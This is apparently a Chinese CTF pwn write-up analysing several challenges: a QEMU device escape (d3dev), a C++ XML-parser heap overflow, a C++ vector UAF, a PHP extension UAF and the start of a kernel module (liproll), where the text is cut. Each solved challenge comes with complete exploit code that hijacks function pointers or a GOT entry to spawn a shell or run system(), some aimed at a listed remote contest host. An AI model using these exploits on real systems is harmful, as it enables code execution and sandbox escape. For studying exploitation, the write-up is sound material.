d3dev 这里没有加monitor=/dev/null
,所以可以直接通过CRTL_ALT_2
进入控制台。
d3dev-revenge qemu逃逸
分析 首先看一下启动脚本
1 2 3 4 5 6 7 8 9 10 11 12 #!/bin/sh ./qemu-system-x86_64 \ -L pc-bios/ \ -m 128M \ -kernel vmlinuz \ -initrd rootfs.img \ -smp 1 \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \ -device d3dev \ -netdev user,id =t0, -device e1000,netdev=t0,id =nic0 \ -nographic \ -monitor /dev/null
我们看到这里的device
的名称是d3dev
,ida
看一下相关的函数,发现存在mmio/pmio
两种方式,分别分析一下,首先看一下pmio_read
1 2 3 4 5 6 7 8 9 10 uint64_t __fastcall d3dev_pmio_read (void *opaque, hwaddr addr, unsigned int size) { uint64_t result; if ( addr > 0x18 ) result = -1LL ; else result = ((__int64 (__fastcall *)(void *))((char *)dword_7ADF30 + dword_7ADF30[addr]))(opaque); return result; }
这里看发生了一个未知的调用,采用的应该是函数表的形式,不过这里不重要,接下来看一下pmio_write
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 void __fastcall d3dev_pmio_write (d3devState *opaque, hwaddr cmd, uint64_t val, unsigned int size) { uint32_t *v4; if ( cmd == 8 ) { if ( val <= 0x100 ) opaque->seek = val; } else if ( cmd > 8 ) { if ( cmd == 0x1C ) { opaque->r_seed = val; v4 = opaque->key; do *v4++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t , _QWORD))opaque->rand_r)( &opaque->r_seed, 0x1C LL, val, *(_QWORD *)&size); while ( v4 != (uint32_t *)&opaque->rand_r ); } } else if ( cmd ) { if ( cmd == 4 ) { *(_QWORD *)opaque->key = 0LL ; *(_QWORD *)&opaque->key[2 ] = 0LL ; } } else { opaque->memory_mode = val; } }
这里涉及到了d3devState
数据结构,看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 00000000 d3devState struc ; (sizeof =0x1300 , align=0x10 , copyof_4545)00000000 pdev PCIDevice_0 ?000008E0 mmio MemoryRegion_0 ?000009 D0 pmio MemoryRegion_0 ?00000 AC0 memory_mode dd ?00000 AC4 seek dd ?00000 AC8 init_flag dd ?00000 ACC mmio_read_part dd ?00000 AD0 mmio_write_part dd ?00000 AD4 r_seed dd ?00000 AD8 blocks dq 257 dup(?)000012E0 key dd 4 dup(?)000012F 0 rand_r dq ? ; offset000012F 8 db ? ; undefined000012F 9 db ? ; undefined000012F A db ? ; undefined000012F B db ? ; undefined000012F C db ? ; undefined000012F D db ? ; undefined000012F E db ? ; undefined000012F F db ? ; undefined00001300 d3devState ends
这里是根据cmd
的值来达到不同的功能
cmd=8
,设定seek
的值,这里的seek<0x100
cmd=0x1c
,更新加解密所需要的key
,这里是直接调用的数据结构中的rand_r
函数指针来完成的
cmd=4
,这里清空了key
,所有的key
均为0
,注意到这里其实我们就可以实现加解密了,因为所有的key
都是0
接下来看一下mmio_read
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 uint64_t __fastcall d3dev_mmio_read (d3devState *opaque, hwaddr addr, unsigned int size) { uint64_t v; int sum; unsigned int v1; uint64_t v0; v = opaque->blocks[opaque->seek + (unsigned int )(addr >> 3 )]; sum = 0xC6EF3720 ; v1 = v; v0 = HIDWORD(v); do { LODWORD(v0) = v0 - ((v1 + sum) ^ (opaque->key[3 ] + (v1 >> 5 )) ^ (opaque->key[2 ] + 16 * v1)); v1 -= (v0 + sum) ^ (opaque->key[1 ] + ((unsigned int )v0 >> 5 )) ^ (opaque->key[0 ] + 16 * v0); sum += 0x61C88647 ; } while ( sum ); if ( opaque->mmio_read_part ) { opaque->mmio_read_part = 0 ; v0 = (unsigned int )v0; } else { opaque->mmio_read_part = 1 ; v0 = v1; } return v0; }
这里是根据输入的addr>>3
作为offset
读取blocks
中的相关内容,读取的内容进行了加密处理,很容易可以看出来这里的加密算法是tea
的解密算法。tea
的加解密算法可以参考这里
需要注意的这里需要读取两次才能够获得完整的加密8
字节数据。接下来看一下mmio_write
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 void __fastcall d3dev_mmio_write (d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size) { __int64 offset; ObjectClass_0 **opaque_address; uint64_t v6; int v7; uint32_t key0; uint32_t key1; uint32_t key2; uint32_t key3; unsigned int v12; uint64_t result; if ( size == 4 ) { offset = opaque->seek + (unsigned int )(addr >> 3 ); if ( opaque->mmio_write_part ) { opaque_address = &opaque->pdev.qdev.parent_obj.class + offset; v6 = val << 32 ; v7 = 0 ; opaque->mmio_write_part = 0 ; key0 = opaque->key[0 ]; key1 = opaque->key[1 ]; key2 = opaque->key[2 ]; key3 = opaque->key[3 ]; v12 = v6 + *((_DWORD *)opaque_address + 0x2B6 ); result = ((unsigned __int64)opaque_address[0x15B ] + v6) >> 32 ; do { v7 -= 0x61C88647 ; v12 += (v7 + result) ^ (key1 + ((unsigned int )result >> 5 )) ^ (key0 + 16 * result); LODWORD(result) = ((v7 + v12) ^ (key3 + (v12 >> 5 )) ^ (key2 + 16 * v12)) + result; } while ( v7 != 0xC6EF3720 ); opaque_address[0x15B ] = (ObjectClass_0 *)__PAIR64__(result, v12); } else { opaque->mmio_write_part = 1 ; opaque->blocks[offset] = (unsigned int )val; } } }
这里与mmio_read
类似,虽然这里的ida
反汇编显示有点问题,但是根据调试可以知道这里的功能就是将用户输入的数据进行解密。解密算法就是tea
的加密算法(反向理解也可以,写入加密,读取解密)将解密后的数据写入到blocks[seek+offset]
中。这里也提供了直接写入的 分支,不过只能写入四子节。
利用 这里可以很明显的发现一个索引越界漏洞,即seek
最大为0x100
,但是对用户输入的offset
没有进行限制,而blocks
的大小为0x101
,也就是这里可以直接越界对d3devState
结构体进行读写。
很容易的我们发现可以读取器中的rand_r
函数指针泄漏出libc
的基址,进而得到system
的地址,然后可以将rand_r
函数指针覆写为system
,之后在进行pmio_write
中调用rand_r
函数指针即可执行命令。
按照后门函数的调用逻辑,命令参数只能写到seed
的位置,而注意到seed
和blocks
位置相邻,因此我们可以利用字符串拼接的方法执行任意长度的cmd
,这里将seed
写为ls &
而真正执行的命令在blocks[0]
位置处。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> unsigned char * mmio_mem;uint32_t mmio_addr = 0xfebf1000 ;uint32_t mmio_size = 0x800 ;int32_t pmio_base = 0xc040 ;void die (const char * msg) { perror(msg); exit (-1 ); } void * mem_map ( const char * dev, size_t offset, size_t size ) { int fd = open( dev, O_RDWR | O_SYNC ); if ( fd == -1 ) { return 0 ; } void * result = mmap( NULL , size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset ); if ( !result ) { return 0 ; } close( fd ); return result; } void mmio_write (uint64_t addr, uint64_t value, int choice) { if (choice == 0 ){ *((uint8_t *)(mmio_mem + addr)) = value; } else if (choice == 1 ){ *((uint16_t *)(mmio_mem + addr)) = value; } else if (choice == 2 ){ *((uint32_t *)(mmio_mem + addr)) = value; } else if (choice == 3 ){ *((uint64_t *)(mmio_mem + addr)) = value; } } uint64_t mmio_read (uint32_t addr, int choice) { if (choice == 0 ){ return *((uint8_t *)(mmio_mem + addr)); } else if (choice == 1 ){ return *((uint16_t *)(mmio_mem + addr)); } else if (choice == 2 ){ return *((uint32_t *)(mmio_mem + addr)); } else if (choice == 3 ){ return *((uint64_t *)(mmio_mem + addr)); } } void pmio_write (uint32_t addr, uint32_t value) { outl(value,pmio_base + addr); } uint8_t pmio_read (uint32_t addr) { return (uint32_t )inl(pmio_base + addr); } void my_tea_encrypt (uint32_t * v, uint32_t * k) { uint32_t v0=v[0 ], v1=v[1 ]; int sum=0xC6EF3720 , i; uint32_t k0=k[0 ], k1=k[1 ], k2=k[2 ], k3=k[3 ]; do { v1 -= ((v0<<4 ) + k2) ^ (v0 + sum) ^ ((v0>>5 ) + k3); v0 -= ((v1<<4 ) + k0) ^ (v1 + sum) ^ ((v1>>5 ) + k1); sum += 0x61C88647 ; }while (sum); v[0 ]=v0; v[1 ]=v1; } void my_tea_decrypt (uint32_t * v, uint32_t * k) { uint32_t v0=v[0 ], v1=v[1 ]; int sum=0 , i; uint32_t k0=k[0 ], k1=k[1 ], k2=k[2 ], k3=k[3 ]; do { sum -= 0x61C88647 ; v0 += ((v1<<4 ) + k0) ^ (v1 + sum) ^ ((v1>>5 ) + k1); v1 += ((v0<<4 ) + k2) ^ (v0 + sum) ^ ((v0>>5 ) + k3); }while (sum != 0xC6EF3720 ); v[0 ]=v0; v[1 ]=v1; } int main () { system( "mknod -m 660 /dev/mem c 1 1" ); mmio_mem = mem_map("/dev/mem" , mmio_addr, mmio_size); if (!mmio_mem){ die("mmio or vga mmap failed" ); } printf ("get process address\n" ); if (iopl(3 )!=0 ){ printf ("iopl 3 failed\n" ); exit (0 ); } pmio_write(4 , 0 ); pmio_write(8 , 0x100 ); uint32_t res[2 ]; res[0 ] = mmio_read(3 << 3 , 2 ); res[1 ] = mmio_read(3 << 3 , 2 ); printf ("%p %p\n" , res[0 ], res[1 ]); uint32_t key[4 ] = {0 }; my_tea_decrypt(res, key); printf ("%p %p\n" , res[0 ], res[1 ]); uint64_t randr_address = ((uint64_t )res[1 ]) << 32 ; randr_address += res[0 ]; printf ("rand address is %p\n" , randr_address); uint64_t libc_address = randr_address - 0x4aeb0 ; uint64_t system_address = libc_address + 0x55410 ; printf ("system address is %p\n" , system_address); res[0 ] = system_address & 0xffffffff ; res[1 ] = system_address >> 32 ; my_tea_encrypt(res, key); uint64_t en_system_address = ((uint64_t )res[1 ]) << 32 ; en_system_address += res[0 ]; printf ("enc system address is %p\n" , en_system_address); getchar(); mmio_write(3 << 3 , en_system_address, 3 ); res[1 ] = 0x67616c66 ; res[0 ] = 0x20746163 ; my_tea_encrypt(res, key); uint64_t enc_sh = ((uint64_t )res[1 ]) << 32 ; enc_sh += res[0 ]; pmio_write(8 , 0 ); mmio_write(0 , enc_sh , 3 ); pmio_write(0x1c , 0x2620736c ); }
Truth 分析 直接给出了源代码,程序提供了四种功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 while (1 ) { menu(); cin >> choice; switch (choice) { case 1 : char temp; cout << "Please input file's content" << endl ; while (read(STDIN_FILENO, &temp, 1 ) && temp != '\xff' ) { xmlContent.push_back(temp); } xmlfile.parseXml(xmlContent); break ; case 2 : cout << "Please input the node name which you want to edit" << endl ; cin >> nodeName >> content; xmlfile.editXML(nodeName, content); break ; case 3 : pnode(*xmlfile.node->begin(), "" ); break ; case 4 : cout << "MEME" << endl ; cin >> nodeName; if (auto temp = pnode(*xmlfile.node->begin(), "" , nodeName)) temp->meme(temp->backup); break ; default : break ; }
这里大致说一下,首先是parseXML
函数,函数会根据xml
的格式依次递归解析,每个标签都是一个node
,用结构体XML_NODE
来进行表示。在parse
过程中最值得注意的就是XML_NODE::parseNodeContents
中的处理逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 while (*current) { switch (*current) { default : { auto lt = iterFind(current, CHARACTACTERS::LT); data = std ::make_shared <std ::string >(current, lt); backup = (char *)malloc (0x50 ); current = lt; break ; } } }
该函数在处理完标签的左半部分的时候发生调用如果没有遇到上述的三种情况也就是<
,\n
,空格三种字符的情况下就会进行堆块的分配,这里共分配了两个堆块,第一个我称之为content
堆块,该堆块的大小由当前字符到最近的一个<
之间的距离决定,第二个是固定的堆块为backup
。
接下来看一下edit
函数,首先根据用户输入的名称找到对应的Node
结构体,接着检查了node->data
中的字符的长度
1 2 3 4 5 6 7 8 char * XML_NODE::isInsertable (int x) { if (x > 0x50 || x < 0 ) { return nullptr; } return backup; }
即需要小于0x50
,接着就会将data
中的数据拷贝到backup
中,并将data
更新为用户输入的content
。
1 2 3 4 5 for (int i = 0 ; i < a->data->length(); i++){ a->backup[i] = (*a->data)[i]; } *(a->data) = content;
接着看一下第三个功能也就是show
函数,这里通过pnode
函数打印出了用户指定的Node
结构体的内容,包含xml
中的属性字段以及data
。
接着就是最后一个函数,类似于一个后门函数,调用了结构体中的一个函数指针,打印出了backup
的内容
利用 这里可能是优化导致的问题,edit
函数中的针对data
的长度检查失效了,导致用户针对backup
可以任意长度的堆溢出。而从调试中我们可以发现如果我们输入下面的XML
,backup
堆块相邻的位置存在一个node
结构体
1 2 3 4 5 6 <Lin 1 ="111" > data <Lin2 > /bin/sh </Lin2 > </Lin >
也就是backup
堆块与Lin2
结构体相邻。这里我们就可以直接覆写结构体了,一个Node
结构体的布局如下
1 2 3 4 5 6 7 8 9 10 11 pwndbg> x/30 gx 0xab0c30 -0x20 0xab0c10 : 0x0000000000000000 0x00000000000000a1 0xab0c20 : 0x00000000004054e0 0x0000000100000002 0xab0c30 : 0x0000000000405340 (meme函数指针存储地址) 0x0000000000ab0c48 堆地址0xab0c40 : 0x0000000000000003 0x00007fff006e694c 0xab0c50 : 0x00007fffec193a00 0x0000000000000000 0xab0c60 : 0x0000000000000000 0x0000000000ab11d0 0xab0c70 : 0x0000000000ab11d0 0x0000000000ab11d0 0xab0c80 : 0x0000000000000001 0x0000000000ab0e40 0xab0c90 : 0x0000000000ab0e30 0x0000000000ab1390 0xab0ca0 : 0x0000000000ab1380 0x0000000000ab0f00 (backup)
根据结构体中的指针泄漏得到heap address
,接着覆写结构体中的函数指针,利用第四个函数getshell
。
这里还差一个libc
基地址的泄露。这里也可以根据backup
得到,在data = std::make_shared <std::string>(current, lt);
语句执行完毕之后会产生一个和data
大小相同的堆块,如果此堆块为unsorted bin
,那么我们可以直接通过打印backup
来泄漏得到libc
基地址。
在将函数指针覆写为gadget
的时候遇到了一个问题就是所有的gadget
都无法实现,但是经过调试发现rsp+0x60
(这里对应的gadget
的条件是rsp+0x70=NULL
,环境变量的参数,由于call
会压入返回地址因此是0x68
)部分存储的是Node
的名称,一共是0x10
子节,也就是rsp+0x68
部分存储的是Node
名称的后半段,是一个非法的地址,需要注意的是这里的rsp+0x70=NULL
并不一定要求该位置一定为NULL
而是一个合法的指针数组即可(数组起始到结束包含的指针均合法,并且以NULL
结尾)
因此这里可以将Node
的名称缩短至四子节,使得rsp+0x68=NULL
,也就是gadget
执行的时候rsp+0x70=NULL
,从而成功执行execve
。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *file_path = "./Truth" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) gdb.attach(p) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = [0x45226 , 0x4527a , 0xf0364 , 0xf1207 ] else : p = remote('106.14.216.214' , 45116 ) libc = ELF('./libc-2.23.so' ) one_gadget = [0x45226 , 0x4527a , 0xf0364 , 0xf1207 ] def parse (file_content ): p.sendlineafter("Choice: " , "1" ) p.sendafter("file's content\n" , file_content) p.sendline("\xff" ) def edit (name, content ): p.sendlineafter("Choice: " , "2" ) p.sendlineafter("to edit\n" , name) p.sendline(content) def show (): p.sendlineafter("Choice: " , "3" ) def show_backup (name ): p.sendlineafter("Choice: " , "4" ) p.sendlineafter("MEME" , name) file_content = ''' <?xml?> <Lin 1="{}"> <Lin2> /bin/sh </Lin2> <Lin3> /bin/sh </Lin3> ''' .format ("a" *0x500 )file_content += "a" * 0x70 + "b" *0x7 file_content += ''' <Lin4> /bin/sh </Lin4> </Lin> ''' parse(file_content) show_backup("Lin" ) p.recvuntil("Useless" ) libc.address = u64(p.recvline().strip().ljust(8 , b"\x00" )) - 88 - 0x10 - libc.sym['__malloc_hook' ] log.success("libc address is {}" .format (hex (libc.address))) edit("Lin" , "1212" ) show_backup("Lin" ) p.recvuntil("b" * 0x7 ) p.recvline() heap_address = u64(p.recvline().strip().ljust(8 , b"\x00" )) log.success("heap address is {}" .format (hex (heap_address))) edit("Lin3" , b"/bin/sh\x00" + p64(one_gadget[3 ] + libc.address)) edit("Lin3" , b"/bin/sh\x00" + p64(one_gadget[3 ] + libc.address)) payload = b"a" *0x70 + p64(heap_address- 0x1e0 ) edit("Lin" , payload) edit("Lin" , payload) show_backup("Lin4" ) p.interactive()
狡兔三窟 分析 是个cpp
的pwn
,首先看一下ida
,程序中包含两个重要的结构体如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 00000000 total_node struc ; (sizeof =0x18 , mappedto_13)00000000 note1 dq ?00000008 note2 dq ?00000010 backup dq ?00000018 total_node ends00000018 00000000 ; ---------------------------------------------------------------------------00000000 00000000 node struc ; (sizeof =0x28 , mappedto_14)00000000 func_ptr dq ?00000008 is_cleared dq ?00000010 vector_start dq ?00000018 vector_current dq ?00000020 vector_end dq ?00000028 node ends
total_node
的结构体对应的是NoteStorageImpl
,node
结构体对应的是NoteImpl
,其中total_node
中的每一个node
是node
结构体的一个实例,backup
包含两个成员变量,其中第一个表明node
是否被删除,第二个成员变量指向一个note
结构体。
程序一共提供了六种功能,首先看一下editHouse
,首先判断note1
是否被删除(通过bool
函数判断),如果被删除则针对note2
调用add
函数,add
函数首先会判断用户是否会调用clear
,该函数只能调用一次,作用就是将vector_current
指针指向vector_start
即指向vector
的开头。接着将用户输入的内容压入vector
,空间扩展操作和vector
类似,如果空间不够即vector_end == vector_curret
则申请两倍大小的空间(这里的两倍的大小是根据vector_end-vector_current
计算的),释放原始空间。
接着是save_house
,函数实际上调用的是shrik_to_fit
函数,函数的作用就是缩小vector
的内存空间。会申请一个vecotr_current-vector_start
大小的内存空间,将vector
中的内容拷贝之后释放原空间,并将vector_end=vector_current
,也就是说下一次push
的时候会触发vector
的扩容。
接着就是backup
函数,该函数只能针对note1
进行备份。也就是第二个成员变量指向note1
接着就是encourage
函数,该函数如果判断note1
被删除了之后,会调用backup
中指向的note
结构体的func_ptr
即函数指针
接着就是delHouse
函数,函数的作用是删除note
,但是只能在backup
调用之后针对note1
进行删除。删除会清空total_note
中的note1
指针,释放note
结构体,该结构体的大小为0x350
。
最后就是show
函数,函数会打印backup
结构体中的note
指针指向的结构体的第一个成员变量也就是函数指针的内容,但是需要注意的是这里show
函数也是需要note1
删除之后才能进行调用的。
利用 漏洞是一个UAF
,由处理逻辑导致的,即show
和encourage
函数会经过backup
处理删除之后的note1
的结构体堆块。
首先考虑的就是show
函数的调用导致的信息泄漏,正常情况下删除note
结构体的时候,结构体所在的堆块会存储到tcache
中,第一个成员变量会被覆写为0
,也就是说再调用show
函数无法输出任何的东西。并且我们无法任意次数的释放指定大小的堆块,因此无法通过这个堆块泄漏出libc
地址。
只能首先释放一个0x350
大小的结构体,之后再删除note
结构体,从而泄漏出堆地址。这里采用的释放指定大小的堆块的方式是通过shrik_to_fit
函数和vector
的两次扩容实现的。假设我们要释放size
大小的堆块,那么首先add((size-0x10)/2)
,再调用shrik_to_fit
函数,此时堆块的大小就会缩减为(size-0x10)/2 + 0x10
大小,也就是指定大小的一半,接着再次add
相同大小的内容,那么在push
第一个字节的时候vector
就会触发扩容操作,此时申请得到指定size
大小的堆块,在push
最后一个字节的时候又会触发一次扩容操作,此时会释放size
大小的堆块而申请size*2
的堆块
那么在进行note
删除的时候就会释放结构体堆块,也就是0x350
的堆块,此时由于tcache
中有一个堆块了,因此这里第一个成员变量会被覆写为堆地址,也就是我们可以泄漏得到堆地址了。
做到泄漏堆地址之后libc
地址的泄漏就好多了,还是利用相同的方法,在对note2
进行add
的时候申请指定大小的堆块即0x350
大小的堆块,注意到此时申请的堆块就是note1
的结构体堆块,调试过程中发现结构体偏移0x1b0
位置残留有一个malloc
的函数指针,利用字符串拼接和show
函数泄漏该指针即可。
在得到libc
基地址和heap
地址之后就可以调用clear
函数将vector_current
指针指向vector_start
位置,也就是note1
结构体的函数指针位置,覆写该指针为gadget
,调用即可getshell
。
这里远程和本地的堆偏移好像不太一样相差了0xc00
,不知道为什么。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 from pwn import *file_path = "./easycpp" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 0 if debug: p = process([file_path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = [0x4f3d5 , 0x4f432 , 0x10a41c , 0xe5617 , 0xe561e , 0xe5622 , 0x10a428 ] else : p = remote('106.14.216.214' , 27807 ) libc = ELF('./libc-2.27.so' ) one_gadget = [0x4f3d5 , 0x4f432 , 0x10a41c , 0xe5617 , 0xe561e , 0xe5622 , 0x10a428 ] def add (content, is_clear=False ): p.sendlineafter(">> " , "1" ) if is_clear: p.sendlineafter("to clear it?(y/N)" , "y" ) else : p.sendlineafter("to clear it?(y/N)" , "N" ) p.recvuntil("(q to quit):" ) for i in content: p.sendline(i) p.sendline("q" ) def save (): p.sendlineafter(">> " , "2" ) def backup (): p.sendlineafter(">> " , "3" ) def encourage (): p.sendlineafter(">> " , "4" ) def delete (): p.sendlineafter(">> " , "5" ) def show (): p.sendlineafter(">> " , "6" ) content = [] for i in range (0x1a0 ): content.append("1" ) add(content) backup() save() for i in range (0x1a0 ): content.append("1" ) add(content) delete() show() heap_address = u64(p.recvline().strip().ljust(8 , b"\x00" )) content = [] for i in range (0x1a0 ): content.append("1" ) add(content) save() content = [] for i in range (0x10 ): content.append("1" ) for i in range (8 ): content.append("2" ) add(content) show() p.recvuntil("2" *0x8 ) libc.address = u64(p.recvline().strip().ljust(8 , b"\x00" )) - libc.sym['malloc' ] log.success("heap address is {}" .format (hex (heap_address))) log.success("libc address is {}" .format (hex (libc.address))) content = [] content.append(p64(heap_address - 0x2230 + 0x8 - 0xc00 )) content.append(p64(one_gadget[2 ] + libc.address)) add(content, True ) encourage() p.interactive()
hackphp 分析 这是一个webpwn
,程序给出了四种功能分别是add,delete,edit,get
。其中add
函数的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 void __fastcall zif_hackphp_create (zend_execute_data *execute_data, zval *return_value) { __int64 v2; __int64 size[3 ]; v2 = execute_data->This.u2.next; size[1 ] = __readfsqword(0x28 u); if ( (unsigned int )zend_parse_parameters(v2, &unk_2000, size) != -1 ) { buf = (char *)_emalloc(size[0 ]); buf_size = size[0 ]; if ( buf ) { if ( (unsigned __int64)(size[0 ] - 0x100 ) <= 0x100 ) { return_value->u1.type_info = 3 ; return ; } _efree(); } } return_value->u1.type_info = 2 ; }
这里的buf
是全局变量,然后可以看到这里在将申请的堆块的地址写入到buf
位置之后又将申请得到的堆块释放掉了,因此之后会存在一个UAF
漏洞。
php
中的空闲堆块的管理也是存在一个全局链表,相同大小的堆块释放之后就会存储到链表中,通过fd
进行连接。因此这里我们可以利用UAF
将堆块分配到_efree.got
表位置,覆写其地址为system
的地址,之后就可以执行readflag
程序了。
但是这里使用其给出的add
函数无法达到效果,因此其总是先申请之后再进行释放,也就是相同大小永远只申请第一个堆块。因此这里我们需要首先消耗掉一个堆块。这里采用的是str_repeat
函数,该函数会申请我们传入参数长度大小的堆块。那么这里我们先使用edit
函数覆写fd
指针指向_efree.got
的位置,接着连续申请两次并在第二次参数设置为为system
即可覆写了。
这里还有个libc/elf
基地址的问题,一般来说在webpwn
中都可以直接加载/proc/self/maps
直接得到地址。
调试技巧 参考
当我们启动php
执行我们的脚本即gdb exp.php
的时候如果直接设定参数运行无法下断点,因为此时hackphp.so
还没有加载进来,我们遵循的方法就是
1 2 3 gdb php > run > crtl + c (signal 2)
也就是说首先是run
,此时php
在等待我们的输入,这时输入crtl + c
,那么此时就会断下来,并且此时已经加载了hackphp.so
了。此时在设置参数set args exp.php
,设置断点,再run
,那么再次运行就会保留上次的断点,也就可以断下了
改题目中的source
文件如下
1 2 3 4 5 6 7 run b zif_hackphp_create b zif_hackphp_get b zif_hackphp_edit b zif_hackphp_delete set args exp.phpr
启动之后source gdb_dbg
, 之后再crtl + c
就可以成功断下了。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php $ret = "" ;function s2i ($s ) { $result = 0 ; for ($x = 0 ;$x < strlen ($s );$x ++) { $result <<= 8 ; $result |= ord ($s [$x ]); } return $result ; } function i2s ($i , $x = 8 ) { $re = "" ; for ($j = 0 ;$j < $x ;$j ++) { $re .= chr ($i & 0xff ); $i >>= 8 ; } return $re ; } function callback ($buffer ) { global $ret ,$sys ; $pattern1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc-2.31.so/' ; $pattern = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20190902\/hackphp.so/' ; preg_match_all ($pattern , $buffer , $ret ); preg_match_all ($pattern1 , $buffer , $sys ); return "" ; } ob_start ("callback" );include "/proc/self/maps" ;ob_end_flush ();$base = hexdec ($ret [1 ][0 ]);$libc = hexdec ($sys [1 ][0 ]);hackphp_create (0x210 );$data =i2s ($base + 0x4178 -0x20 );hackphp_edit ($data );$data =str_repeat ("b" ,0x210 -0x20 );$data =str_repeat (i2s ($base +0x4070 ),(0x210 -0x20 )/8 );hackphp_edit (i2s ($libc +0x55410 ));hackphp_create (0x108 );hackphp_edit ('/readflag' );hackphp_delete ();?>
liproll kernelpwn
分析 首先我们看一下启动的脚本
1 2 3 4 5 6 7 8 9 10 11 #!/bin/sh qemu-system-x86_64 \ -kernel ./bzImage \ -append "console=ttyS0 root=/dev/ram rw oops=panic panic=1 quiet kaslr" \ -initrd ./rootfs.cpio \ -nographic \ -m 2G \ -s \ -smp cores=2,threads=2,sockets=1 \ -monitor /dev/null
开启了kaslr
,解压rootfs.cpio
,看到其中的init
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev mkdir -p /dev/ptsmount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmxecho 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrictchown -R root:root /bin /usr /rootecho "flag{this_is_a_test_flag}" > /root/flagchmod -R 400 /rootchmod -R o-r /proc/kallsymschmod -R 755 /bin /usrcat /root/bannerinsmod /liproll.ko chmod 777 /dev/liprollsetsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' poweroff -d 1800000 -f & umount /proc umount /sys poweroff -d 0 -f
也就是说liproll.ko
就是包含漏洞的模块了,用ida
分析一下,该模块提供了一些基本的函数,首先我们来看一下ioctl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 __int64 __fastcall liproll_unlocked_ioctl (__int64 a1, unsigned int a2, __int64 a3) { __int64 result; if ( a2 == 0xD3C7F03 ) { add(); result = 0LL ; } else if ( a2 > 0xD3C7F03 ) { if ( a2 != 0xD3C7F04 ) return 0LL ; show(a3); result = 0LL ; } else { if ( a2 != 0xD3C7F01 ) { if ( a2 == 0xD3C7F02 ) { global_buffer = 0LL ; *(&global_buffer + 1 ) = 0LL ; } return 0LL ; } cast_a_spell(a3); result = 0LL ; } return result; }
根据传入的cmd
的不同调用了不同的函数。我们依次来看一下,首先是add
函数,也就是create_a_spell
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 __int64 create_a_spell () { __int64 v0; __int64 index; __int64 result; v0 = 0LL ; while ( 1 ) { index = (int )v0; if ( !lists[v0] ) break ; if ( ++v0 == 0x10 ) return printk("[-] Full!\n" ); } result = kmem_cache_alloc_trace(kmalloc_caches[8 ], 0xCC0 LL, 0x100 LL); if ( !result ) return kmalloc_err(); lists[index] = result; return result; }
这里是固定分配了一个0x100
大小的堆块然后将分配得到的地址写入到了lists
数组中,该数组的元素个数为0x10
个。接着是show
函数,也就是choose_a_spell
函数,该函数将用户指定的lists[index]
